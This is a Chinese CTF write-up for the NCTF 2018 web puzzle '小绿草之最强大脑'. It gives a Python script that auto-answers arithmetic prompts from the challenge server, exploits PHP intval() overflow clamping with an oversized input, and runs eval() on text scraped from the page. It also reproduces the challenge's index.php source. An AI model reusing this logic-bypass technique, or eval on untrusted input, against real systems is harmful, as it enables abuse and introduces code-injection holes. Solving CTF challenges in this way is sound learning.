[NCTF 2018]小绿草之最强大脑

1.打开环境,发现如此,应该是要写脚本帮助我们答题:

附上自己写的脚本:

import requests
import re
import time
import random
url="http://1.14.71.254:28840/"
s = requests.Session()
res = s.get(url=url)
while(True):
    r = r">(.)<"
    list = re.findall(r,res.text)
    args=""
    for i in list:
        if(i=="="):
            continue
        args+= i
    input1 = "4200000000000000000000"
    args="9223372036854775807"+args
    ans  = (eval(args))
    data={
        'input':input1,
        'ans':ans
    }
    res = s.post(url=url,data=data)
    r = r"现在已经连续答对了(.)次"
    count = re.findall(r,res.text)
    print(count)
    time.sleep(1.5)
    print(res.text)

有几个点需要注意:

1.用dirsearch可以扫出来index.php的源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
		session_destroy();
		echo '
		<script language="javascript">  
		alert("怎么没算对呢?");  
		window.history.back(-1);  </script>';
	}
	else{
		if(intval(time())-$_SESSION['time']<1){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你手速太快啦,服务器承受不住!!!");  
			window.history.back(-1); </script> ';
		}
		if(intval(time())-$_SESSION['time']>2){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你算的太慢了少年!");  
			window.history.back(-1); </script> ';
		}
		echo '
		<script language="javascript">  
		alert("tql,算对了!!");  
	     </script> ';
		$_SESSION['count']++;
	}
}
?>

需要用time.sleep()来防止访问过快或过慢。

2.intval处理21位以上的数会返回固定的值来防止溢出。

3.需要用s=requests.Session()来保持会话的连续性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值